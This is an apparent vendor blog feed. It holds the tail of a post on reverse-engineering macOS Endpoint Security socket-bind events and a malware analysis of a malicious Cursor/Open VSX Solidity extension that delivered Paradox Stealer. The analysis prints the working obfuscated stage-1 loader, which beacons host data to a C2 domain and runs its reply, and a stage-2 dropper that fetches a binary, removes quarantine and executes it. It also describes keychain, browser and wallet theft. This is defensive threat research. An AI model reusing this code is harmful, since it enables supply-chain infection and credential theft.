</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>ES_EVENT_TYPE_RESERVED_6, <span style="color:#586e75">// Covered by Patrick&#39;s blog
</span></span></span></code></pre></div><p>Subscribing to <code>RESERVED_3</code> and <code>RESERVED_4</code> confirmed they follow the established ESF pattern: <code>RESERVED_3</code> fires as an AUTH event (requiring a response), while <code>RESERVED_4</code> fires as the corresponding NOTIFY event. Initial observation showed these events triggering when processes opened listening sockets, suggesting they hook into the <code>bind()</code> syscall. The challenge was reconstructing the undocumented event struct to extract useful data.</p>
<h2 id="exploring-the-event-structure">Exploring the Event Structure</h2>
<h3 id="test-harness">Test Harness</h3>
<p>To generate controlled events with known values, a simple Python one-liner serves as a test harness:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#719e07">import</span> socket;s<span style="color:#719e07">=</span>socket<span style="color:#719e07">.</span>socket();s<span style="color:#719e07">.</span>bind((<span style="color:#2aa198">&#39;192.168.1.101&#39;</span>,<span style="color:#2aa198">0x1234</span>));s<span style="color:#719e07">.</span>listen();<span style="color:#b58900">print</span>(<span style="color:#2aa198">&#39;listening&#39;</span>);s<span style="color:#719e07">.</span>accept()
</span></span></code></pre></div><p>This binds to IP <code>192.168.1.101</code> (hex: <code>c0 a8 01 65</code>) on port <code>0x1234</code> (hex: <code>34 12</code> in little-endian). With known values to look for, identifying fields in the raw event data becomes much easier.</p>
<h3 id="following-the-pointers">Following the Pointers</h3>
<p>Dumping the raw bytes of <code>msg-&gt;event</code> shows an 8-byte value that looks like a pointer, followed by zeros:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>msg-&gt;event:
</span></span><span style="display:flex;"><span>0000: 80 a3 e5 04 01 00 00 00  00 00 00 00 00 00 00 00  |................|
</span></span><span style="display:flex;"><span>0010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
</span></span></code></pre></div><p>That first value (<code>0x0104e5a380</code>) is a pointer to an inner struct. Following it reveals another pointer at the start, then more data:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>inner struct @ 0x0104e5a380:
</span></span><span style="display:flex;"><span>0000: 98 a3 e5 04 01 00 00 00  01 00 00 00 00 00 00 00  |................|
</span></span><span style="display:flex;"><span>0010: 06 00 00 00 00 00 00 00  02 00 00 00 c0 a8 01 65  |...............e|
</span></span><span style="display:flex;"><span>0020: 00 00 00 00 00 00 00 00  00 00 00 00 34 12 00 00  |............4...|
</span></span></code></pre></div><p>The two pointers are pretty close to each other. The inner struct is at <code>0x0104e5a380</code>, and the pointer it contains is <code>0x0104e5a398</code>. That&rsquo;s <code>0x18</code> (24 bytes) ahead. We can diagram the layout as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>inner struct layout:
</span></span><span style="display:flex;"><span>+0x00: points to +0x18
</span></span><span style="display:flex;"><span>+0x08: [unknown 16 bytes]
</span></span><span style="display:flex;"><span>+0x18: &lt;-- ptr points here
</span></span></code></pre></div><p>Following that pointer at <code>+0x00</code>: the value <code>0x0104e5a398</code>, to <code>+0x18</code>. We get a couple of familiar patterns.</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>*inner-&gt;ptr @ 0x0104e5a398:
</span></span><span style="display:flex;"><span>0000: 02 00 00 00 c0 a8 01 65  00 00 00 00 00 00 00 00  |.......e........|
</span></span><span style="display:flex;"><span>0010: 00 00 00 00 34 12 00 00  00 00 00 00 00 00 00 00  |....4...........|
</span></span></code></pre></div><p>There&rsquo;s the bind address from the test harness. At <code>+0x04</code> we see <code>c0 a8 01 65</code> (192.168.1.101), and at <code>+0x14</code> we see <code>34 12</code> (port 0x1234 in little-endian). The first four bytes <code>02 00 00 00</code> we interpret as <code>AF_INET</code> (address family 2).</p>
<h3 id="the-address-structure">The Address Structure</h3>
<p>To confirm this analysis, testing with IPv6 validates the address family field:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>python3 <span style="color:#719e07">-</span>c <span style="color:#2aa198">&#34;import socket;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.bind((&#39;::1&#39;,4660));s.listen();input(&#39;bound&#39;);s.close()&#34;</span>
</span></span></code></pre></div><p>With IPv6, the address family bytes change to <code>1e 00 00 00</code> (0x1e = 30 = <code>AF_INET6</code>).</p>
<h3 id="the-unknown-16-bytes">The Unknown 16 Bytes</h3>
<p>Going back to the 16 bytes between the initial pointer and the address struct (offsets <code>+0x08</code> through <code>+0x17</code>), these likely contain socket metadata. Running different socket configurations and comparing the results reveals a pattern:</p>
<table>
  <thead>
      <tr>
          <th>Test</th>
          <th>+0x08</th>
          <th>+0x0C</th>
          <th>+0x10</th>
          <th>+0x14</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>IPv4 TCP</td>
          <td>1</td>
          <td>0</td>
          <td>6</td>
          <td>0</td>
      </tr>
      <tr>
          <td>IPv6 TCP</td>
          <td>1</td>
          <td>0</td>
          <td>6</td>
          <td>0</td>
      </tr>
      <tr>
          <td>IPv4 UDP</td>
          <td>1</td>
          <td>1</td>
          <td>17</td>
          <td>0</td>
      </tr>
      <tr>
          <td>IPv6 UDP</td>
          <td>1</td>
          <td>1</td>
          <td>17</td>
          <td>0</td>
      </tr>
  </tbody>
</table>
<p>The values at <code>+0x10</code> stand out: <code>6</code> for TCP and <code>17</code> for UDP. These match the IANA protocol numbers from RFC 1700:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#719e07">#define IPPROTO_TCP             6               </span><span style="color:#586e75">/* tcp */</span><span style="color:#719e07">
</span></span></span><span style="display:flex;"><span><span style="color:#719e07">#define IPPROTO_UDP             17              </span><span style="color:#586e75">/* udp */</span><span style="color:#719e07">
</span></span></span></code></pre></div><p>The field at <code>+0x0C</code> appears to indicate socket type (<code>0</code> for <code>SOCK_STREAM</code>, <code>1</code> for <code>SOCK_DGRAM</code>).</p>
<p>To understand the remaining fields, further testing explored edge cases. Setting various socket options like <code>SO_REUSEADDR</code> and <code>SO_REUSEPORT</code> before binding had no effect on any of these values. Binding to different interfaces (loopback versus all interfaces) also produced no change in the metadata fields.</p>
<p>Raw sockets do not trigger the event at all. Unix domain sockets also do not generate these events, which makes sense given ESF already has <code>ES_EVENT_TYPE_NOTIFY_UIPC_BIND</code> for that purpose.</p>
<p>Across all tests, the fields at <code>+0x08</code> and <code>+0x14</code> remained constant at <code>1</code> and <code>0</code> respectively. Without additional test cases that cause these values to change, their exact meaning remains unclear.</p>
<h3 id="reconstructed-structure">Reconstructed Structure</h3>
<p>Putting it all together with the information we have:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#719e07">typedef</span> <span style="color:#719e07">struct</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#dc322f">uint32_t</span> family;     <span style="color:#586e75">// +0x00: AF_INET (2), AF_INET6 (30)
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    <span style="color:#dc322f">uint8_t</span>  addr[<span style="color:#2aa198">16</span>];   <span style="color:#586e75">// +0x04: IPv4 in first 4 bytes; IPv6 uses all 16
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    <span style="color:#dc322f">uint32_t</span> port;       <span style="color:#586e75">// +0x14: port in host byte order
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>} <span style="color:#dc322f">es_socket_bind_addr_t</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">#define ES_SOCK_TYPE_STREAM 0
</span></span></span><span style="display:flex;"><span><span style="color:#719e07">#define ES_SOCK_TYPE_DGRAM  1
</span></span></span><span style="display:flex;"><span><span style="color:#719e07"></span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">typedef</span> <span style="color:#719e07">struct</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#dc322f">es_socket_bind_addr_t</span> <span style="color:#719e07">*</span>addr; <span style="color:#586e75">// +0x00: pointer to address
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    <span style="color:#dc322f">uint32_t</span> unknown_08;         <span style="color:#586e75">// +0x08: always 1
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    <span style="color:#dc322f">uint32_t</span> socket_type;        <span style="color:#586e75">// +0x0C: STREAM(0) or DGRAM(1)
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    <span style="color:#dc322f">uint32_t</span> protocol;           <span style="color:#586e75">// +0x10: IPPROTO_TCP(6), IPPROTO_UDP(17)
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    <span style="color:#dc322f">uint32_t</span> unknown_14;         <span style="color:#586e75">// +0x14: always 0
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>} <span style="color:#dc322f">es_socket_bind_inner_t</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">typedef</span> <span style="color:#719e07">struct</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#dc322f">es_socket_bind_inner_t</span> <span style="color:#719e07">*</span>inner; <span style="color:#586e75">// +0x00
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>} <span style="color:#dc322f">es_event_socket_bind_t</span>;
</span></span></code></pre></div><h2 id="conclusion">Conclusion</h2>
<p>Apple&rsquo;s undocumented <code>ES_EVENT_TYPE_RESERVED_3</code> and <code>_4</code> events provide socket bind AUTH and NOTIFY capabilities respectively. By reverse engineering the event struct, these events expose:</p>
<ul>
<li>Address family (IPv4/IPv6)</li>
<li>Bound IP address</li>
<li>Port number</li>
<li>Socket type and protocol</li>
</ul>
<p>&hellip;and perhaps a little bit more we don&rsquo;t quite understand yet. Combined with the network connection events Patrick documented, macOS 26.4 delivers substantial new network visibility through ESF. While these events remain undocumented and could change in future releases, they represent a meaningful expansion of what&rsquo;s possible for macOS security tools, without the complexity of Network Extensions.</p>
<p>We look forward to Apple formally documenting these events and providing stable struct definitions in a future SDK release. New events means new detection opportunities, and we&rsquo;re excited to further explore how to leverage this enhanced visibility.</p>
]]></content:encoded><category>ESF</category><category>Endpoint Security Framework</category><category>macOS Internals</category><category>Research</category><media:content url="https://phorion.io/blog/reverse-engineering-macos-26.4s-undocumented-socket-bind-events/social-card.png" medium="image"/></item><item><title>macOS Paradox Stealer used in Solidity Open VSX Extension Attack</title><link>https://phorion.io/blog/macos-paradox-stealer-used-in-solidity-open-vsx-extension-attack/</link><guid isPermaLink="true">https://phorion.io/blog/macos-paradox-stealer-used-in-solidity-open-vsx-extension-attack/</guid><pubDate>Thu, 27 Nov 2025 09:30:00 +0000</pubDate><description>Threat actors used a malicious Cursor extension to push Paradox Stealer into developer workflows. The blog traces the attack step by step and highlights the detections that prevented data theft.</description><content:encoded><![CDATA[<p>VSCode-derived IDEs with AI assisted capabilities, such as Cursor, have exploded in popularity. In many ways, their appeal mirrors that of VSCode, where extensibility enables much of the functionality developers rely on. Open VSX provides the shared extension registry used by Cursor and other compatible IDEs, enabling developers to bring over familiar tools with minimal friction.</p>
<p>This thriving ecosystem of third party extensions has created an opening for threat actors. Extensions often inherit broad permissions that allow code execution and file access, making them attractive points of initial access. The combination of developer trust, extension convenience and supply chain adjacency continues to produce high value opportunities for malicious actors across macOS environments.</p>
<p><a href="https://secureannex.com/blog/sleepyduck-malware/">Secure Annex&rsquo;s reporting</a> on SleepyDuck in early November highlighted this trend, documenting a similar extension to that in this blog. These malicious extensions have now shifted to an infostealer payload, which reinforces how adaptable the technique is. The lure remains effective because it leans on a familiar trust signal. The extension climbed to the top of the store by download count, which is (understandably) a common metric developers use to judge whether a plugin is safe.</p>
<p>This blog examines a real-world infection chain that originated from a malicious Cursor extension. We detail how the attack progressed, how Phorion caught and prevented the attack, and the lessons defenders can apply to similar threats.</p>
<h2 id="infection-chain"><strong>Infection Chain</strong></h2>
<h3 id="ether-solidity-extension">Ether Solidity Extension</h3>
<p><img src="openvsx.png" alt="Open VSX extension store searching for Solidity"></p>
<p>The infection starts with developers searching the Open VSX registry for Solidity support. The Ether Solidity extension (<code>ether.solidity</code>) is presented as the top result, with more than 117k downloads since 24 November - an almost certainly artificially-inflated figure.</p>
<blockquote>
<p>Both the specific extension and publisher have now been removed from Open VSX.</p>
</blockquote>
<h3 id="stage-1">Stage 1</h3>
<p>After installation, the extension executes JavaScript hidden inside a file posing as <code>webpack.js</code>. That file exposes the core functionality of the extension:</p>
<ul>
<li>Collect basic information about the host, such as hostname, username and MAC address.</li>
<li>Make a POST request with this data to an external site.</li>
<li>Execute the returned 2nd stage JavaScript code.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#268bd2">function</span> init () {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> burger_strawberry <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;https&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> soda <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;vm&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> vanilla_fruit <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;fs&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> melon <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;os&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> apple_apple <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;path&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> candy <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;crypto&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">const</span> apple <span style="color:#719e07">=</span> (<span style="color:#b58900">Object</span> <span style="color:#719e07">+</span> <span style="color:#2aa198">&#39;&#39;</span>).split(<span style="color:#2aa198">&#39; &#39;</span>)[<span style="color:#2aa198">0</span>] <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34;.&#34;</span> <span style="color:#719e07">+</span> (<span style="color:#cb4b16">undefined</span>) <span style="color:#719e07">+</span> (<span style="color:#2aa198">23</span> <span style="color:#719e07">-</span> <span style="color:#2aa198">2</span>) <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34;.com&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">function</span> berry_burger () {
</span></span><span style="display:flex;"><span>        <span style="color:#268bd2">const</span> ifaces <span style="color:#719e07">=</span> melon.networkInterfaces();
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">for</span> (<span style="color:#268bd2">const</span> name <span style="color:#719e07">of</span> <span style="color:#b58900">Object</span>.keys(ifaces)) {
</span></span><span style="display:flex;"><span>            <span style="color:#719e07">for</span> (<span style="color:#268bd2">const</span> iface <span style="color:#719e07">of</span> ifaces[name]) {
</span></span><span style="display:flex;"><span>                <span style="color:#719e07">if</span> (<span style="color:#719e07">!</span>iface.internal <span style="color:#719e07">&amp;&amp;</span> iface.mac <span style="color:#719e07">!==</span> <span style="color:#2aa198">&#39;00:00:00:00:00:00&#39;</span>) {
</span></span><span style="display:flex;"><span>                    <span style="color:#719e07">return</span> iface.mac;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">return</span> <span style="color:#2aa198">&#39;unknown&#39;</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">function</span> burger_garlic () {
</span></span><span style="display:flex;"><span>        <span style="color:#268bd2">const</span> data <span style="color:#719e07">=</span> melon.hostname() <span style="color:#719e07">+</span> berry_burger() <span style="color:#719e07">+</span> melon.platform();
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">return</span> candy.createHash(<span style="color:#2aa198">&#39;sha256&#39;</span>).update(data).digest(<span style="color:#2aa198">&#39;hex&#39;</span>).substring(<span style="color:#2aa198">0</span>, <span style="color:#2aa198">16</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">const</span> wheat_pasta <span style="color:#719e07">=</span> {
</span></span><span style="display:flex;"><span>        hostname<span style="color:#719e07">:</span> melon.hostname(),
</span></span><span style="display:flex;"><span>        username<span style="color:#719e07">:</span> melon.userInfo().username,
</span></span><span style="display:flex;"><span>        platform<span style="color:#719e07">:</span> melon.platform(),
</span></span><span style="display:flex;"><span>        macAddress<span style="color:#719e07">:</span> berry_burger(),
</span></span><span style="display:flex;"><span>        machineId<span style="color:#719e07">:</span> burger_garlic()
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">function</span> pizza () {
</span></span><span style="display:flex;"><span>        <span style="color:#268bd2">const</span> options <span style="color:#719e07">=</span> {
</span></span><span style="display:flex;"><span>            method<span style="color:#719e07">:</span> <span style="color:#2aa198">&#39;POST&#39;</span>,
</span></span><span style="display:flex;"><span>            headers<span style="color:#719e07">:</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#2aa198">&#39;Content-Type&#39;</span><span style="color:#719e07">:</span> <span style="color:#2aa198">&#39;application/json&#39;</span>
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#268bd2">const</span> req <span style="color:#719e07">=</span> burger_strawberry.request(<span style="color:#2aa198">&#34;https://&#34;</span> <span style="color:#719e07">+</span> apple <span style="color:#719e07">+</span> <span style="color:#2aa198">&#39;/p&#39;</span>, options, (res) =&gt; {
</span></span><span style="display:flex;"><span>            <span style="color:#268bd2">let</span> pasta_water <span style="color:#719e07">=</span> <span style="color:#2aa198">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>            res.on(<span style="color:#2aa198">&#39;data&#39;</span>, (strawberry_onion) =&gt; pasta_water <span style="color:#719e07">+=</span> strawberry_onion);
</span></span><span style="display:flex;"><span>            res.on(<span style="color:#2aa198">&#39;end&#39;</span>, () =&gt; {
</span></span><span style="display:flex;"><span>                <span style="color:#719e07">try</span> {
</span></span><span style="display:flex;"><span>                    <span style="color:#268bd2">const</span> barley <span style="color:#719e07">=</span> soda.createContext({
</span></span><span style="display:flex;"><span>                        console,
</span></span><span style="display:flex;"><span>                        require,
</span></span><span style="display:flex;"><span>                        process,
</span></span><span style="display:flex;"><span>                        Buffer,
</span></span><span style="display:flex;"><span>                        burger_strawberry,
</span></span><span style="display:flex;"><span>                        apple,
</span></span><span style="display:flex;"><span>                        vanilla_fruit,
</span></span><span style="display:flex;"><span>                        melon,
</span></span><span style="display:flex;"><span>                        apple_apple
</span></span><span style="display:flex;"><span>                    });
</span></span><span style="display:flex;"><span>                    soda.runInContext(pasta_water, barley);
</span></span><span style="display:flex;"><span>                } <span style="color:#719e07">catch</span> (e) {}
</span></span><span style="display:flex;"><span>            });
</span></span><span style="display:flex;"><span>        });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        req.write(JSON.stringify(wheat_pasta));
</span></span><span style="display:flex;"><span>        req.end();
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    pizza();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>module.exports <span style="color:#719e07">=</span> init;
</span></span></code></pre></div><p>Following a consistent culinary theme, the constant <code>apple</code> is being used to obfuscate the domain name used for future communication - <code>function[.]undefined21[.]com</code>.</p>
<p><code>const apple = (Object + '').split(' ')[0] + &quot;.&quot; + (undefined) + (23 - 2) + &quot;.com&quot;;</code></p>
<p>The code combines the hostname, MAC address and platform, then hashes them to generate a machine ID, likely enabling the actor to track unique infections across the campaign. This data is then sent to the C2 domain.</p>
<p>Finally, the response from the web request is used with the <code>vm.runInContext()</code> method to compile and run the subsequent stage.</p>
<h3 id="stage-2">Stage 2</h3>
<p>Fetching the contents of the JavaScript response reveals the second stage payload dropper code that makes no attempt to hide its intentions.</p>
<p>It retrieves data from the <code>/sss</code> endpoint of the original domain, writes it to a file named <code>xoxoxoxxx</code> in a temporary directory, and uses a series of nested callbacks that execute operating system commands to mark the file as executable and strip the quarantine attribute, before executing it. The <code>fs.unlink()</code> function is the final step, removing the file from disk.</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#268bd2">var</span> fs <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;fs&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">var</span> os <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;os&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">var</span> https <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;https&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">var</span> path <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;path&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">var</span> { exec } <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;child_process&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">function</span> downloadAndRun() {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> url <span style="color:#719e07">=</span> <span style="color:#2aa198">&#39;https://function[.]undefined21[.]com/sss&#39;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> filename <span style="color:#719e07">=</span> <span style="color:#2aa198">&#39;xoxoxoxxx&#39;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> filePath <span style="color:#719e07">=</span> path.join(os.tmpdir(), filename);
</span></span><span style="display:flex;"><span>    https
</span></span><span style="display:flex;"><span>        .get(url, res =&gt; {
</span></span><span style="display:flex;"><span>            <span style="color:#719e07">if</span> (res.statusCode <span style="color:#719e07">!==</span> <span style="color:#2aa198">200</span>) {
</span></span><span style="display:flex;"><span>                res.resume();
</span></span><span style="display:flex;"><span>                <span style="color:#719e07">return</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#268bd2">var</span> fileStream <span style="color:#719e07">=</span> fs.createWriteStream(filePath);
</span></span><span style="display:flex;"><span>            res.pipe(fileStream);
</span></span><span style="display:flex;"><span>            fileStream.on(<span style="color:#2aa198">&#39;finish&#39;</span>, () =&gt; {
</span></span><span style="display:flex;"><span>                fileStream.close();
</span></span><span style="display:flex;"><span>                exec(<span style="color:#586e75">`chmod +x &#34;</span><span style="color:#2aa198">${</span>filePath<span style="color:#2aa198">}</span><span style="color:#586e75">&#34;`</span>, () =&gt; {
</span></span><span style="display:flex;"><span>                    exec(<span style="color:#586e75">`xattr -d com.apple.quarantine &#34;</span><span style="color:#2aa198">${</span>filePath<span style="color:#2aa198">}</span><span style="color:#586e75">&#34;`</span>, () =&gt; {
</span></span><span style="display:flex;"><span>                        exec(<span style="color:#586e75">`&#34;</span><span style="color:#2aa198">${</span>filePath<span style="color:#2aa198">}</span><span style="color:#586e75">&#34;`</span>, () =&gt; {
</span></span><span style="display:flex;"><span>                            fs.unlink(filePath, () =&gt; {});
</span></span><span style="display:flex;"><span>                        });
</span></span><span style="display:flex;"><span>                    });
</span></span><span style="display:flex;"><span>                });
</span></span><span style="display:flex;"><span>            });
</span></span><span style="display:flex;"><span>        })
</span></span><span style="display:flex;"><span>        .on(<span style="color:#2aa198">&#39;error&#39;</span>, () =&gt; {});
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>downloadAndRun();
</span></span></code></pre></div><h3 id="stage-3---paradox-stealer">Stage 3 - Paradox Stealer</h3>
<p>The dropped executable <code>xoxoxoxxx</code> contains a Golang-based macOS infostealer. Indicators strongly suggest that the codebase is heavily shared (if not identical) to an open-source GitHub project called <code>paradox</code> (<a href="https://github.com/githubesson/paradox">https://github.com/githubesson/paradox</a>), which this blog refers to as Paradox Stealer.</p>
<p><img src="paradox-github.png" alt="githubesson/paradox GitHub repository"></p>
<p>The Paradox Stealer repository offers tooling that collects browser data, chat application records, keychain items and cryptowallets. It also includes a management application and supporting server components.</p>
<p>The project frames itself as research, which aligns with its use of familiar macOS infostealer techniques found in families such as AMOS, Poseidon and Banshee. It is, however, currently being deployed in active campaigns tied to the wider attack discussed in this article.</p>
<p>Paradox Stealer initialises by preparing the initial directory structure that is used to stage collected data. It then follows with typical Infostealer system reconnaissance tasks.</p>
<ol>
<li><strong>System Profiler:</strong> Executes the shell command, <code>system_profiler SPSoftwareDataType SPHardwareDataType</code></li>
<li><strong>Public IP:</strong> Uses Golang&rsquo;s HTTP client to make a request to <a href="https://freeipapi.com/api/json/"><code>https://freeipapi.com/api/json/</code></a> and <a href="https://api.ipify.org/?format=json"><code>https://api.ipify.org/?format=json</code></a> in order to determine public IP and approximate geographic location.</li>
<li><strong>User Password Prompt via AppleScript:</strong> Uses <code>osascript</code> to display a credential prompt. The entered password is validated with <code>dscl /Local/Default -authonly &lt;username&gt; &lt;password&gt;</code>.</li>
</ol>
<p><img src="applescript.png" alt="Paradox Stealer AppleScript prompting code"></p>
<p>With initial reconnaissance captured, the stealer checks for <code>~/Library/Keychains</code>. If the directory exists, it copies it into its staging location. The user&rsquo;s keychain on macOS is protected with the local account password that was harvested during the initial system information collection phase.</p>
<p>It then enumerates installed browsers and identifies active profiles. From there, it searches for credential stores and other sensitive files such as cookies, saved login data and browsing history. Paradox Stealer supports most common Chromium and Gecko based browsers, although it does not target Safari. The absence of Safari support is likely due to the higher barrier to accessing Safari data given its tighter integration with TCC.</p>
<p><img src="browsers.png" alt="Paradox Stealer list of targeted browsers"></p>
<p>It also examines extension directories and compares them against a predefined list of cryptocurrency wallet extensions.</p>
<p><img src="extensions.png" alt="Paradox Stealer list of targeted extensions"></p>
<p>The stealer checks for Telegram and Discord next. If either application is installed, it extracts the stored chat data. It follows the same pattern for cryptocurrency wallet applications, such as Exodus or Electrum, by collecting their on-disk data stores.</p>
<p>All extracted data is finally compressed into <code>output.zip</code> with Golang&rsquo;s <code>archive/zip</code> package. This archive is then exfiltrated to the same domain used throughout the attack, <code>https://function[.]undefined21[.]com/upload</code>, using Golang&rsquo;s native HTTP client.</p>
<h2 id="detection-opportunities">Detection Opportunities</h2>
<h3 id="malicious-extension-load-esf-visibility">Malicious Extension Load (ESF Visibility)</h3>
<p>In this campaign, the earliest point of visibility comes from the moment the IDE loads the malicious extension. Apple&rsquo;s Endpoint Security Framework (ESF) exposes file-open events (<code>ES_EVENT_TYPE_NOTIFY_OPEN</code>) that clearly show the IDE accessing the specific compromised package from this attack. For Cursor, the extension is loaded from:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>source_binary_path:/Applications/Cursor.app/Contents/MacOS/Cursor
</span></span><span style="display:flex;"><span>source_signing_id:com.todesktop.230313mzl4w4u92
</span></span><span style="display:flex;"><span>filepath:/Users/alfie/.cursor/extensions/ether.solidity-0.0.191-universal/package.json
</span></span></code></pre></div><h3 id="suspicious-behaviour-originating-from-the-ide">Suspicious Behaviour Originating From the IDE</h3>
<p>Once loaded, the compromised extension initiates a predictable chain of actions that are uncommon for legitimate IDE behaviour. Using ESF process exec telemetry (<code>ES_EVENT_TYPE_NOTIFY_EXEC</code>), helper processes can be seen writing the Paradox Stealer binary to a temporary directory, modifying its attributes, and executing it.</p>
<p>The second stage script leverages Node.js <code>child_process.exec()</code> to spawn <code>bash</code>, which then executes commands such as <code>chmod</code> and <code>xattr</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>parent_binary_path: /Applications/Cursor.app/Contents/Frameworks/Cursor Helper (Plugin).app/Contents/MacOS/Cursor Helper (Plugin)
</span></span><span style="display:flex;"><span>parent_signing_id: com.github.Electron.helper
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>source_binary_path: /bin/bash
</span></span><span style="display:flex;"><span>source_signing_id: com.apple.bash
</span></span><span style="display:flex;"><span>
